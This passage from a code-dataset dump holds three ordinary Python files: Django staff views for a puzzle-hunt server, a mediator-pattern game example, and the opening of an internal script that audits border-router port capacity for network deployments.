organizing data \"\"\"\n\n # Charts 1 and 2\n curr_hunt = Hunt.objects.get(is_current_hunt=True)\n puzzles = curr_hunt.puzzle_set.all().order_by('puzzle_number')\n puzzle_info_dict1 = []\n puzzle_info_dict2 = []\n for puzzle in puzzles:\n team_count = curr_hunt.team_set.exclude(location=\"DUMMY\").exclude(location=\"off_campus\").count()\n unlocked_count = puzzle.unlocked_for.exclude(location=\"DUMMY\").exclude(location=\"off_campus\").filter(hunt=curr_hunt).count()\n solved_count = puzzle.solved_for.exclude(location=\"DUMMY\").exclude(location=\"off_campus\").filter(hunt=curr_hunt).count()\n submission_count = puzzle.submission_set.exclude(team__location=\"DUMMY\").exclude(team__location=\"off_campus\").filter(puzzle__hunt=curr_hunt).count()\n puzzle_info_dict1.append({\n \"name\": puzzle.puzzle_name,\n \"locked\": team_count - unlocked_count,\n \"unlocked\": unlocked_count - solved_count,\n \"solved\": solved_count\n })\n\n puzzle_info_dict2.append({\n \"name\": puzzle.puzzle_name,\n \"incorrect\": submission_count - solved_count,\n \"correct\": solved_count\n })\n\n # Chart 3\n time_zone = tz.gettz(settings.TIME_ZONE)\n subs = Submission.objects.filter(puzzle__hunt=curr_hunt).all().order_by(\"submission_time\")\n grouped = itertools.groupby(subs, lambda x:x.submission_time.astimezone(time_zone).strftime(\"%x - %H:00\"))\n submission_hours = []\n for group, matches in grouped:\n matches = list(matches)\n amount = len(matches)\n # TODO: change this to be based on hunt date\n if(matches[0].puzzle.hunt.start_date < matches[0].submission_time < matches[0].puzzle.hunt.end_date):\n submission_hours.append({\"hour\": group, \"amount\": amount})\n\n # Chart 4\n solves = Solve.objects.filter(puzzle__hunt=curr_hunt).all().order_by(\"submission__submission_time\")\n grouped = itertools.groupby(solves, lambda x:x.submission.submission_time.astimezone(time_zone).strftime(\"%x - %H:00\"))\n solve_hours = []\n for group, matches in grouped:\n matches = list(matches)\n amount = len(matches)\n if(matches[0].puzzle.hunt.start_date < matches[0].submission.submission_time < matches[0].puzzle.hunt.end_date):\n solve_hours.append({\"hour\": group, \"amount\": amount})\n\n # Chart 5\n solves = solves.order_by(\"submission__submission_time\")\n teams = list(curr_hunt.team_set.exclude(location=\"DUMMY\").exclude(location=\"off_campus\"))\n num_puzzles = puzzles.count()\n solve_points = []\n tmp = [None]\n for team in teams:\n tmp.append(0)\n for solve in solves:\n tmp[0] = solve.submission.submission_time\n if(solve.team in teams):\n tmp[teams.index(solve.team) + 1] += 1\n solve_points.append(tmp[:])\n\n # Submissions after solve\n after_subs = []\n for solve in solves:\n oversubs = Submission.objects.filter(team=solve.team).filter(puzzle=solve.puzzle).filter(submission_time__gt=solve.submission.submission_time)\n for sub in oversubs:\n if(solve.submission.submission_text.lower() != sub.submission_text.lower()):\n after_subs.append({'solve':solve, 'sub':sub})\n\n # Info Table\n table_dict = {}\n for puzzle in puzzles:\n try:\n solve_set = puzzle.solve_set.exclude(team__location=\"DUMMY\").exclude(team__location=\"off_campus\")\n solve = solve_set.order_by(\"submission__submission_time\")[:1].get()\n table_dict[puzzle.puzzle_name] = {'first_team': solve.team.team_name,\n 'first_time': solve.submission.submission_time,\n 'num_solves': solve_set.count()}\n except:\n table_dict[puzzle.puzzle_name] = {'first_team': None,\n 'first_time': datetime.max.replace(tzinfo=tz.gettz('UTC')),\n 'num_solves': puzzle.solve_set.count()}\n\n context = {'data1_list': puzzle_info_dict1, 'data2_list': puzzle_info_dict2,\n 'data3_list': submission_hours, 'data4_list': solve_hours,\n 'data5_list': solve_points, 'teams': teams, 'num_puzzles': num_puzzles,\n 'table_dict': sorted(iter(table_dict.items()), key=lambda x:x[1]['first_time']),\n 'after_subs': after_subs}\n return render(request, 'charts.html', context)\n\n\n@staff_member_required\ndef admin_chat(request):\n \"\"\"\n A view to handle chat update requests via AJAX and render the staff chat \n page. Chat messages are pre-rendered for both standard and AJAX requests.\n \"\"\"\n\n curr_hunt = Hunt.objects.get(is_current_hunt=True)\n if request.method == 'POST':\n if(request.POST.get('team_pk') == \"\"):\n return HttpResponse(status=400)\n if(request.POST.get(\"is_announcement\") == \"true\" and request.user.is_staff):\n messages = []\n for team in curr_hunt.real_teams.all():\n m = Message.objects.create(time=timezone.now(),\n text=\"[Anouncement] \" + request.POST.get('message'),\n is_response=(request.POST.get('is_response') == \"true\"), team=team)\n messages.append(m)\n else:\n team = Team.objects.get(pk=request.POST.get('team_pk'))\n m = Message.objects.create(time=timezone.now(), text=request.POST.get('message'),\n is_response=(request.POST.get('is_response') == \"true\"), team=team)\n messages = [m]\n\n else:\n if request.is_ajax():\n messages = Message.objects.filter(pk__gt=request.GET.get(\"last_pk\"))\n else:\n messages = Message.objects.filter(team__hunt=curr_hunt)\n messages = messages.order_by('team', 'time').select_related('team')\n\n # This block assumes messages are grouped by team\n team_name = \"\"\n message_dict = {}\n for message in messages:\n if message.team.team_name != team_name:\n team_name = message.team.team_name\n message_dict[team_name] = {'pk': message.team.pk, 'messages': []}\n message_dict[team_name]['messages'].append(message)\n for team in message_dict:\n message_dict[team]['messages'] = render_to_string(\n 'chat_messages.html', {'messages': message_dict[team]['messages'], 'team_name': team})\n\n try:\n last_pk = Message.objects.latest('id').id\n except Message.DoesNotExist:\n last_pk = 0\n\n context = {'message_dict': message_dict, 'last_pk': last_pk}\n if request.is_ajax() or request.method == 'POST':\n return HttpResponse(json.dumps(context))\n else:\n teams = curr_hunt.team_set.order_by(\"team_name\").all()\n context['teams'] = teams\n return render(request, 'staff_chat.html', context)\n\n\n@staff_member_required\ndef hunt_management(request):\n \"\"\" A view to render the hunt management page \"\"\"\n\n hunts = Hunt.objects.all()\n prepuzzles = Prepuzzle.objects.all()\n return render(request, 'hunt_management.html', {'hunts': hunts, 'prepuzzles': prepuzzles})\n\n@staff_member_required\ndef hunt_info(request):\n \"\"\" A view to render the hunt info page, which contains room and allergy information \"\"\"\n\n curr_hunt = Hunt.objects.get(is_current_hunt=True)\n teams = curr_hunt.real_teams\n people = []\n new_people = []\n for team in teams:\n people = people + list(team.person_set.all())\n try:\n old_hunt = Hunt.objects.get(hunt_number=curr_hunt.hunt_number-1)\n new_people = [p for p in people if p.user.date_joined > old_hunt.start_date]\n except:\n new_people = people\n\n need_teams = teams.filter(location=\"need_a_room\") | teams.filter(location=\"needs_a_room\")\n have_teams = teams.exclude(location=\"need_a_room\").exclude(location=\"needs_a_room\").exclude(location=\"off_campus\")\n offsite_teams = teams.filter(location=\"off_campus\")\n\n context = {'curr_hunt': curr_hunt, \n 'people': people,\n 'new_people': new_people,\n 'need_teams': need_teams.all(),\n 'have_teams': have_teams.all(),\n 'offsite_teams': offsite_teams.all(),\n }\n return render(request, 'staff_hunt_info.html', context)\n\n\n@staff_member_required\ndef control(request):\n \"\"\"\n A view to handle all of the different management actions from staff users via POST requests.\n This view is not responsible for rendering any normal pages.\n \"\"\"\n\n curr_hunt = Hunt.objects.get(is_current_hunt=True)\n if(curr_hunt.is_open):\n teams = curr_hunt.team_set.all().order_by('team_name')\n else:\n teams = curr_hunt.team_set.filter(playtester=True).order_by('team_name')\n if(request.method == 'POST' and \"action\" in request.POST):\n if(request.POST[\"action\"] == \"initial\"):\n for team in teams:\n unlock_puzzles(team)\n return redirect('huntserver:hunt_management')\n if(request.POST[\"action\"] == \"reset\"):\n for team in teams:\n team.unlocked.clear()\n team.unlock_set.all().delete()\n team.solved.clear()\n team.solve_set.all().delete()\n team.submission_set.all().delete()\n return redirect('huntserver:hunt_management')\n if(request.POST[\"action\"] == \"getpuzzles\"):\n if(\"puzzle_number\" in request.POST and request.POST[\"puzzle_number\"]):\n puzzles = curr_hunt.puzzle_set.filter(puzzle_number=int(request.POST[\"puzzle_number\"]))\n for puzzle in puzzles:\n download_puzzle(puzzle)\n else:\n for puzzle in curr_hunt.puzzle_set.all():\n download_puzzle(puzzle)\n return redirect('huntserver:hunt_management')\n if(request.POST[\"action\"] == \"getprepuzzle\"):\n if(\"puzzle_number\" in request.POST and request.POST[\"puzzle_number\"]):\n puzzle = Prepuzzle.objects.get(pk=int(request.POST[\"puzzle_number\"]))\n download_prepuzzle(puzzle)\n return redirect('huntserver:hunt_management')\n if(request.POST[\"action\"] == \"new_current_hunt\"):\n new_curr = Hunt.objects.get(hunt_number=int(request.POST.get('hunt_num')))\n new_curr.is_current_hunt = True\n new_curr.save()\n return redirect('huntserver:hunt_management')\n else:\n return render(request, 'access_error.html')\n\n\n@staff_member_required\ndef emails(request):\n \"\"\"\n A view to send emails out to hunt participants upon recieveing a valid post request as well as\n rendering the staff email form page\n \"\"\"\n\n teams = Hunt.objects.get(is_current_hunt=True).real_teams\n people = []\n for team in teams:\n people = people + list(team.person_set.all())\n email_list = [person.user.email for person in people]\n\n if request.method == 'POST':\n email_form = EmailForm(request.POST)\n if email_form.is_valid():\n subject = email_form.cleaned_data['subject']\n message = email_form.cleaned_data['message']\n email_to_chunks = [email_list[x: x + 80] for x in range(0, len(email_list), 80)]\n for to_chunk in email_to_chunks:\n email = EmailMessage(subject, message, 'puzzlehuntcmu@gmail.com',\n [], to_chunk)\n email.send()\n return HttpResponseRedirect('')\n else:\n email_form = EmailForm()\n context = {'email_list': (', ').join(email_list), 'email_form': email_form}\n return render(request, 'email.html', context)\n\n\n@staff_member_required\ndef depgraph(request):\n \"\"\" A view to generate and render the puzzle dependency graph visualization \"\"\"\n\n hunt = Hunt.objects.get(is_current_hunt=True)\n G = nx.DiGraph()\n for puzzle in hunt.puzzle_set.all():\n for unlock in puzzle.unlocks.all():\n G.add_edge(unlock.puzzle_number, puzzle.puzzle_number)\n edges = [line.split(' ') for line in nx.generate_edgelist(G, data=False)]\n context = {'puzzles': hunt.puzzle_set.all(), 'edges': edges}\n return render(request, 'depgraph.html', context)\n","sub_path":"huntserver/staff_views.py","file_name":"staff_views.py","file_ext":"py","file_size_in_byte":21034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"44188795","text":"\"Mediator Pattern Example Code\"\n\n\nfrom game_engine import GameEngine\nfrom game_client import GameClient\nfrom player import Player\nfrom scheduler import Scheduler\n\n# The concrete GameEngine process that would run on a dedicated server\nGAMEENGINE = GameEngine()\n\n# 3 Hypothetical game clients, all running externally on mobile phones\n# calling the GAMEENGINE mediator across a network proxy\nMOBILECLIENT1 = GameClient(GAMEENGINE)\nPLAYER1 = Player(\"Sean\", 100)\nMOBILECLIENT1.add_player(PLAYER1)\n\nMOBILECLIENT2 = GameClient(GAMEENGINE)\nPLAYER2 = Player(\"Cosmo\", 200)\nMOBILECLIENT2.add_player(PLAYER2)\n\nMOBILECLIENT3 = GameClient(GAMEENGINE)\nPLAYER3 = Player(\"Emmy\", 300, )\nMOBILECLIENT3.add_player(PLAYER3)\n\n# A scheduler is a separate process that manages game rounds and\n# triggers game events at time intervals\nSCHEDULER = Scheduler(GAMEENGINE)\nSCHEDULER.new_game()\n\n# 3 Hypothetical game clients have received notifications of new game,\n# they now place there bets\nPLAYER1.place_bets([1, 2, 3])\nPLAYER2.place_bets([5, 6, 7, 8])\nPLAYER3.place_bets([10, 11])\n\n# The scheduler closes the round, and triggers the result and\n# winnings notifications\nSCHEDULER.calculate_winners()\nSCHEDULER.notify_winners()\n","sub_path":"mediator/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"325565012","text":"#!/apollo/sbin/envroot \"$ENVROOT/python3.6/bin/python3.6\"\n\"\"\" Brief python script verifies if border devices can accommodate capacity demand(s) for new deployment.\nExample of usage is below:\n\n/apollo/env/DXDeploymentTools/bin/phx_recon.py -l \"bos50\" #Audit BOS50 PoP for border capacity to accommodate new deployment\n/apollo/env/DXDeploymentTools/bin/phx_recon.py -l \"bos50\" -m #Audit BOS50 PoP for border capacity to accommodate new deployment and show Netvane bandwidth utilization for VC devices\n/apollo/env/DXDeploymentTools/bin/phx_recon.py -l \"sfo50\" #Audit SFO50 PoP for border capacity to accommodate new deployment searching (will crawl VC-DAR's for border neigbors)\n\"\"\"\n\n\nimport argparse\nimport collections\nimport concurrent.futures\nimport datetime\nimport functools\nimport itertools\nimport logging\nimport platform\nimport re\nimport signal\nimport sys\nimport textwrap\nimport time\nimport warnings\n\nfrom dxd_tools_dev.datastore import ddb\nfrom dxd_tools_dev.modules import (\n border_port_alloc,\n jukebox,\n netvane,\n nsm,\n vc_port_alloc,\n)\nfrom dxd_tools_dev.portdata import border as portdata\nfrom isd_tools_dev.modules import nsm as nsm_isd\n\n# Ignore warnings from modules\nwarnings.filterwarnings(\"ignore\")\n\n# Enables quick termination of script if needed\nsignal.signal(signal.SIGPIPE, signal.SIG_DFL) # IOError: Broken Pipe'}',\nsignal.signal(signal.SIGINT, signal.SIG_DFL) # KeyboardInterrupt: Ctrl-C'}',\n\n\nlogger = logging.getLogger()\n# Logging is disabled because of NetVane logger that sprays console messages\n# logging.basicConfig(\n# format=\"%(asctime)s - %(message)s\",\n# datefmt=\"%d-%b-%y %H:%M:%S\",\n# level=logging.CRITICAL,\n#\nlogger.disabled = True\n\nVERSION = \"1.32\"\n\nAVAIL_PORT_DICT = {}\nBR_DEVICES = set()\nFAILED_DEVICES = {}\nHARDWARE_INFO = {}\nMISC_INFO = collections.defaultdict(set)\nRESERVE_PORTS = True\nVC_CAS_CHECK = {}\nVC_COR_BRICK = False\nVC_DAR_FOUND = False\nVC_DEV_HWARE = {}\n\n\n# Adding DynamoDB table as global VAR\nTABLE = ddb.get_ddb_table(\"dx_devices_table\")\n\nPIONEER_SITES = {\n \"ams53\": [\"ams54\", \"ams50\"],\n \"bom52\": [\"bom50\", \"bom51\"],\n \"cdg55\": [\"cdg50\", \"cdg52\"],\n \"dub4\": [\"dub2\", \"dub3\"],\n \"dub65\": [\"dub2\", \"dub3\"],\n \"dub7\": [\"dub2\", \"dub3\"],\n \"iad53\": [\"iad2\", \"iad4\"],\n \"icn57\": [\"icn50\", \"icn54\"],\n \"lax51\": [\"lax50\", \"lax3\"],\n \"ord52\": [\"ord50\", \"ord51\"],\n \"phx51\": [\"phx50\", \"dfw3\"],\n \"sfo20\": [\"sfo5\", \"sfo4\"],\n}\n\n\nclass CustomError(Exception):\n \"\"\"Error in function\"\"\"\n\n def __init__(self, message, cause=None):\n \"\"\"Initializer for Custom Function error handler\n\n :param str message: Error message\n :param cause: Exception that caused this error (optional)\n \"\"\"\n super(CustomError, self).__init__(message)\n self.cause = cause\n\n\nclass bcolors:\n HEADER = \"\\033[95m\"\n OKBLUE = \"\\033[94m\"\n OKGREEN = \"\\033[92m\"\n WARNING = \"\\033[93m\"\n FAIL = \"\\033[91m\"\n ENDC = \"\\033[0m\"\n BOLD = \"\\033[1m\"\n UNDERLINE = \"\\033[4m\"\n HIGHGREEN = \"\\033[1;42m\"\n\n\n# Platform check\nif not \"network-config-builder\" in platform.node():\n print(\n bcolors.FAIL\n + \"[!][!] Script needs to be run from a network-config-builder host. Exiting\"\n + bcolors.ENDC\n )\n sys.exit()\n\n\ndef parse_args() -> str:\n p = argparse.ArgumentParser(\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description=textwrap.dedent(\n \"\"\"\\\n Brief python script verifies if border devices can accommodate capacity demand(s) for new deployment builds\n \"\"\"\n ),\n )\n p.add_argument(\n \"-l\",\n \"--locator\",\n help=\"PoP/AZ designator (ex: lax3)\",\n type=str,\n default=\"lax3\",\n )\n p.add_argument(\n \"-bdt\",\n \"--border_device_type\",\n help=\"type of border devices (ex: br-agg, br-tra)\",\n type=str,\n default=\"br-tra,br-kct\",\n )\n p.add_argument(\n \"-vdt\",\n \"--vc_device_type\",\n help=\"type of vc devices (ex: vc-car, vc-edg)\",\n type=str,\n default=\"vc-car\",\n )\n p.add_argument(\n \"-m\",\n \"--max-bandwidth\",\n help=\"Display max weekly bandwidth\",\n action=\"store_true\",\n )\n p.add_argument(\n \"-d\",\n \"--disable_reserved\",\n help=\"Disable checks for DX-Reserved ports on border devices (if applicable)\",\n action=\"store_true\",\n )\n return p.parse_args()\n\n\ndef args_check(x: str, manual=False, d=None, dx_check=True):\n print()\n print(bcolors.WARNING + \"Verification checklist:\" + bcolors.ENDC)\n if manual:\n if any(l.isdigit() for l in x):\n print(\n f\"{bcolors.BOLD}AZ/PoP Verification:{bcolors.ENDC} {bcolors.OKGREEN}{x}{bcolors.ENDC}\"\n )\n print(\n f\"{bcolors.BOLD}Multi-Region Verification:{bcolors.ENDC} {bcolors.OKGREEN}{d}{bcolors.ENDC}\"\n )\n else:\n if any(l.isdigit() for l in x):\n print(\n f\"{bcolors.BOLD}AZ/PoP Verification:{bcolors.ENDC} {bcolors.OKGREEN}{x} ({airport_locator([x[0:3]])}){bcolors.ENDC}\"\n )\n if x:\n print(\n f\"{bcolors.BOLD}Region Verification:{bcolors.ENDC} {bcolors.OKGREEN}{get_region(tuple(x))}{bcolors.ENDC}\"\n )\n else:\n if x:\n print(\n f\"{bcolors.BOLD}Region Verification:{bcolors.ENDC} {bcolors.OKGREEN}{x}{bcolors.ENDC}\"\n )\n if dx_check:\n print(\n f\"{bcolors.BOLD}DX-Reserved Port Verification on Border Devices:{bcolors.ENDC} {bcolors.OKGREEN}Enabled{bcolors.ENDC}\"\n )\n else:\n print(\n f\"{bcolors.BOLD}DX-Reserved Port Verification on Border Devices:{bcolors.ENDC} {bcolors.FAIL}Disabled{bcolors.ENDC}\"\n )\n print()\n\n\ndef intro_message():\n print()\n print(\n bcolors.HEADER\n + \"##################################################################################################\"\n + bcolors.ENDC\n )\n print(\n bcolors.HEADER\n + \"###### Program will verify if TRA's/KCT's can accommodate PHX deployment capacity demands #######\"\n + bcolors.ENDC\n )\n print(\n bcolors.HEADER\n + \"##################################################################################################\"\n + bcolors.ENDC\n )\n print()\n print(\n bcolors.BOLD\n + \"Time script started: {}\".format(\n datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M\")\n )\n + bcolors.ENDC\n )\n print(f\"Script Version: {bcolors.OKGREEN}{VERSION}{bcolors.ENDC}\")\n time.sleep(0.5)\n print()\n\n\ndef rundown(args: str):\n print(\n bcolors.HEADER\n + \"Program will verify if TRA's/KCT's can accommodate PHX deployment capacity demands\"\n + bcolors.ENDC\n )\n print()\n time.sleep(0.5)\n\n\ndef airport_locator(s: str) -> str:\n pop = \"\".join(s)\n pop_dict = {\n \"AMS\": \"Amsterdam, NL\",\n \"ARN\": \"Stockholm, SE\",\n \"ATL\": \"Atlanta, US\",\n \"BAH\": \"Manama, BH\",\n \"BCN\": \"Barcelona, ES\",\n \"BJS\": \"Beijing, CN\",\n \"BLR\": \"Bangalore, IN\",\n \"BOM\": \"Mumbai, IN\",\n \"BOS\": \"Boston, US\",\n \"CBR\": \"Canberra, AU\",\n \"CDG\": \"Paris, FR\",\n \"CMH\": \"Columbus, US\",\n \"CPH\": \"Copenhagen, DK\",\n \"CPT\": \"Cape Town, ZA\",\n \"DEL\": \"New Delhi, IN\",\n \"DEN\": \"Denver, US\",\n \"DFW\": \"Dallas-Fort Worth, US\",\n \"DUB\": \"Dublin, IE\",\n \"DUS\": \"Dusseldorf, DE\",\n \"DXB\": \"Dubai, AE\",\n \"EWR\": \"Newark, US\",\n \"FJR\": \"Fujairah, UAE\",\n \"FRA\": \"Frankfurt am Main, DE\",\n \"GIG\": \"Rio De Janeiro, BR\",\n \"GRU\": \"Sao Paulo, BR\",\n \"HEL\": \"Helsinki, FI\",\n \"HIO\": \"Portland, US\",\n \"HKG\": \"Hong Kong, HK\",\n \"HYD\": \"Hyderabad, IN\",\n \"IAD\": \"Dulles, US\",\n \"IAH\": \"Houston, US\",\n \"ICN\": \"Seoul, KR\",\n \"JFK\": \"New York, US\",\n \"JNB\": \"Johannesburg, ZA\",\n \"KUL\": \"Kuala Lumpur, MY\",\n \"LAS\": \"Las Vegas, US\",\n \"LAX\": \"Los Angeles, US\",\n \"LHR\": \"London, GB\",\n \"MAA\": \"Chennai, IN\",\n \"MAD\": \"Madrid, ES\",\n \"MAN\": \"Manchester, GB\",\n \"MCI\": \"Kansas City, US\",\n \"MEL\": \"Melbourne, AU\",\n \"MIA\": \"Miami, US\",\n \"MRS\": \"Marseille, FR\",\n \"MSP\": \"Minneapolis, US\",\n \"MUC\": \"Munich, DE\",\n \"MXP\": \"Milan, IT\",\n \"NRT\": \"Tokyo, JP\",\n \"ORD\": \"Chicago, US\",\n \"OSL\": \"Oslo, NO\",\n \"PER\": \"Perth, AU\",\n \"PHL\": \"Philadelphia, US\",\n \"PHX\": \"Phoenix, US\",\n \"PRG\": \"Prague, CZ\",\n \"PVG\": \"Shanghai, CN\",\n \"SEA\": \"Seattle, US\",\n \"SFO\": \"San Francisco, US\",\n \"SIN\": \"Singapore, SG\",\n \"SLC\": \"Salt Lake City, US\",\n \"SYD\": \"Sydney, AU\",\n \"SZX\": \"Shenzhen, CN\",\n \"TLV\": \"Tel Aviv, IL\",\n \"TPE\": \"Taipei, TW\",\n \"TXL\": \"Berlin, DE\",\n \"VIE\": \"Vienna, AT\",\n \"WAW\": \"Warsaw, PL\",\n \"YTO\": \"Toronto, CA\",\n \"YUL\": \"Montreal, CA\",\n \"YVR\": \"Vancouver, CA\",\n \"ZHY\": \"Zhongwei, CN\",\n \"ZRH\": \"Zurich, CH\",\n }\n try:\n return pop_dict[pop.upper()]\n except (RuntimeError, TypeError, NameError, KeyError):\n return \"Not Found\"\n\n\ndef concurr_f(func, xx: list, *args, **kwargs) -> list:\n f_result = []\n with concurrent.futures.ThreadPoolExecutor(max_workers=12) as executor:\n device_info = {executor.submit(func, x, *args, **kwargs): x for x in xx}\n for future in concurrent.futures.as_completed(device_info):\n _ = device_info[future]\n try:\n f_result.append(future.result())\n except Exception as e:\n pass\n return f_result if f_result else None\n\n\n@functools.lru_cache(maxsize=4)\ndef get_region(pop: tuple) -> str:\n \"\"\"Use Jukebox API and get_nsm_region_for_site in NSM API\n to get region from AZ/PoP Locator and add to set\n \"\"\"\n locator = pop\n site_code = \"\".join(locator)\n region = set()\n try:\n extract = \"\".join([l for l in site_code if l.islower()])\n region_o = nsm_isd.get_nsm_region_for_site(extract)\n if region_o:\n region.add(region_o)\n site_info = jukebox.get_site_region_details(site=site_code)\n region_t = site_info.region.realm\n if region_t:\n region.add(region_t)\n except (RuntimeError, TypeError, NameError, KeyError):\n pass\n return \",\".join(region)\n\n\ndef get_brdr_info(args: str):\n \"\"\" Jump off method to find border devices \"\"\"\n dual_verify = False\n dx_reserved = False if args.disable_reserved else True\n # PoP's below have dual-region CAR's\n dual_homed = {\n \"bom51\": [\"bom\", \"sin\"],\n \"cdg52\": [\"cdg\", \"fra\"],\n \"iad21\": [\"corp\", \"iad\"],\n \"lhr3\": [\"dub\", \"lhr\"],\n \"lhr50\": [\"dub\", \"lhr\"],\n \"nrt4\": [\"nrt\", \"pek\"],\n \"nrt51\": [\"nrt\", \"pek\"],\n \"nrt57\": [\"nrt\", \"pek\"],\n \"tpe51\": [\"nrt\", \"pek\"],\n \"tpe52\": [\"nrt\", \"pek\"],\n }\n if args.locator in dual_homed:\n args_check(\n args.locator,\n manual=True,\n d=\",\".join(dual_homed[args.locator]),\n dx_check=dx_reserved,\n )\n dual_verify = True\n else:\n args_check(args.locator, dx_check=dx_reserved)\n if any(l.isdigit() for l in args.locator):\n locator = args.locator\n if dual_verify:\n dual_devs_temp = collections.defaultdict(set)\n for xx in dual_homed[locator]:\n tmp = nsm.get_devices_from_nsm(args.vc_device_type, regions=xx)\n if tmp:\n extract = {\n devs for devs in tmp if devs.split(\"-\")[0] == args.locator\n }\n if extract:\n dual_devs_temp[xx].update(extract)\n if dual_devs_temp:\n dual_tc_car_spec(dual_devs_temp, args, regions=dual_homed[locator])\n else:\n region = get_region(tuple(locator))\n a_devs_temp = nsm.get_devices_from_nsm(args.vc_device_type, regions=region)\n a_devs = [x for x in a_devs_temp if x.split(\"-\")[0] == args.locator]\n car_spec(a_devs, args)\n else:\n a_devs = nsm.get_devices_from_nsm(args.vc_device_type, regions=args.locator)\n car_spec(a_devs, args)\n\n\ndef jump_off(xx: list, args, static_region=None):\n output_dict = {}\n local_vc_devs = []\n if len(xx) >= 1:\n print()\n print(\n bcolors.WARNING\n + \"The {} devices below (hardware models included alongside) will be used as a starting point for border capacity searching purposes:\".format(\n args.vc_device_type\n )\n + bcolors.ENDC\n )\n for dd in sorted(xx, key=lambda x: int(x.rsplit(\"-\", 1)[-1].split(\"r\")[-1])):\n local_vc_devs.append(dd)\n hware_found = temp_hardware_func(dd)\n # Adding VC Hardware dict for design verification reasons\n VC_DEV_HWARE[dd] = hware_found\n print(\"\\t{}({})\".format(dd, hware_found))\n print()\n\n output = concurr_f(get_b_dev, xx)\n if output:\n for x in output:\n output_dict.update(x)\n temp_dict = border_filt(output_dict)\n border_srch = brdr_dev_srch(args.locator, temp_dict, region=static_region)\n print(\n bcolors.BOLD\n + \"1. Beginning BR-TRA port verification for devices in {}:\".format(\n args.locator\n )\n + bcolors.ENDC\n )\n border_capacity = brdr_port_cap(border_srch, hundred_gb=True)\n\n print(\n bcolors.WARNING\n + \"\\t1A. Searching for 16 * 100Gb ports on minimum of 4 BR-TRA's (400G per TRA)\"\n + bcolors.ENDC\n )\n border_elig = brdr_port_verify(\n args.locator,\n border_capacity,\n tra_verify=True,\n speed=100,\n amount=4,\n threshold=4,\n )\n if not border_elig:\n print(\n bcolors.FAIL\n + \"\\t Request for 16 * 100Gb ports on minimum of 4 BR-TRA's cannot be fulfilled\"\n + bcolors.ENDC\n )\n print()\n print(\n bcolors.WARNING\n + \"\\t1B. Searching for 8 * 100Gb ports on minimum of 4 BR-TRA's (200G per TRA)\"\n + bcolors.ENDC\n )\n border_elig_retry = brdr_port_verify(\n args.locator,\n border_capacity,\n tra_verify=True,\n speed=100,\n amount=2,\n threshold=4,\n )\n if not border_elig_retry:\n print(\n bcolors.FAIL\n + \"\\t Request for 8 * 100Gb ports on minimum of 4 BR-TRA's cannot be fulfilled\"\n + bcolors.ENDC\n )\n print()\n tra_extracted = all(\"br-tra\" in x for x in border_capacity)\n if tra_extracted:\n print(\n f\"\\tThe {len(border_capacity)} {bcolors.WARNING}BR-TRA{bcolors.ENDC} devices below were audited for available ports:\"\n )\n for k in sorted(\n border_capacity,\n key=lambda x: int(x.rsplit(\"-\", 1)[-1].split(\"r\")[-1]),\n ):\n status = \"FAILED\"\n print(f\"\\t {k:>22s}: {bcolors.FAIL}{status}{bcolors.ENDC}\")\n kct_jump_func(\n args.locator,\n border_capacity,\n args.locator,\n static_region=static_region,\n )\n\n if border_elig:\n print(\n bcolors.OKGREEN\n + \"\\t Request for 16 * 100Gb ports on minimum of 4 BR-TRA's can be fulfilled (more information below)\"\n + bcolors.ENDC\n )\n print()\n print(\n bcolors.OKGREEN\n + \"\\tSUCCESS! 16 * 100G - 4 diff TRAs (400G per TRA) = 1.6T (Most Preferred) - Can be fulfilled\"\n + bcolors.ENDC\n )\n verified_ports(border_capacity, number=4, value=\"br-tra\")\n elif border_elig_retry:\n print(\n bcolors.OKGREEN\n + \"\\t Request for 8 * 100Gb ports on minimum of 4 BR-TRA's can be fulfilled (more information below)\"\n + bcolors.ENDC\n )\n print()\n print(\n bcolors.OKGREEN\n + \"\\tSUCCESS! 8 * 100G - 4 diff TRAs (200G per TRA) = 800G (Secondary Option) - Can be fulfilled\"\n + bcolors.ENDC\n )\n verified_ports(border_capacity, number=2, value=\"br-tra\")\n if BR_DEVICES and local_vc_devs:\n verify_arch(tuple(BR_DEVICES), tuple(local_vc_devs), args.locator)\n if args.max_bandwidth and (BR_DEVICES and local_vc_devs):\n netvane_info(BR_DEVICES, local_vc_devs, args.locator)\n if MISC_INFO:\n p_misc_info(dict(MISC_INFO), args.locator)\n\n else:\n print(bcolors.FAIL + \"No devices found. Exiting\" + bcolors.ENDC)\n sys.exit()\n\n\ndef verify_arch(brd_dev: list, vc_dev: list, pop: str):\n \"\"\" Verify PoP Architecture https://w.amazon.com/bin/view/Main/Interconnect/DX_MPLSoUDP_HLD/#HVC-COR3C3EDXBackhaul \"\"\"\n small_pop_sites = {\"dub65\", \"ewr53\", \"gamma\", \"iad53\", \"sfo20\", \"sfo50\"}\n cap = band_util(brd_dev, vc_dev, pop, converted=False)\n if len(cap) >= 1:\n if all(\"vc-dar\" in c for c in cap) or VC_DAR_FOUND:\n MISC_INFO[\"Current PoP Architecture(s) for {}:\".format(pop)].add(\n \"DX Small PoP\"\n )\n # else:\n vc_cap = collections.defaultdict(list)\n for _, v in cap.items():\n for ae, c in v.items():\n for _, l in c.items():\n vc_cap[ae].append(l)\n if vc_cap:\n get_design(dict(vc_cap), pop)\n else:\n MISC_INFO[\"Current PoP Architecture(s) for {}:\".format(pop)].add(\"Unknown\")\n\n\ndef get_design(x: dict, pop: str):\n design_bool = {\n \"Centennial\": False,\n \"DX Small PoP\": False,\n \"FreightCar\": False,\n \"Heimdall\": False,\n \"Legacy CAR\": False,\n \"PhoenixV1\": False,\n \"PhoenixV2\": False,\n \"Unknown\": False,\n }\n # Hard coding phase1 Phoenix sites (https://w.amazon.com/bin/view/AWSDirectConnect/Phoenix/HLD/#HBorderCapacity)\n phxv1_pop = {\"sfo5\", \"sfo50\", \"ewr53\", \"bah53\", \"iad66\", \"lax61\"}\n # Hard coding FreightCar sites (https://w.amazon.com/index.php/EC2/Networking/IXOps/FreightCar)\n freightcar = {\"sea4\", \"jfk6\", \"sfo20\", \"lhr3\", \"sin2\", \"hio50\", \"dub3\"}\n _ = phx_cas_check(x, pop)\n for dev, b in dict(x).items():\n band = sorted(b, reverse=True)\n if band[0] != band[-1]:\n MISC_INFO[\"VC Devices with unequal LAG capacity distribution:\"].add(dev)\n # if pop in 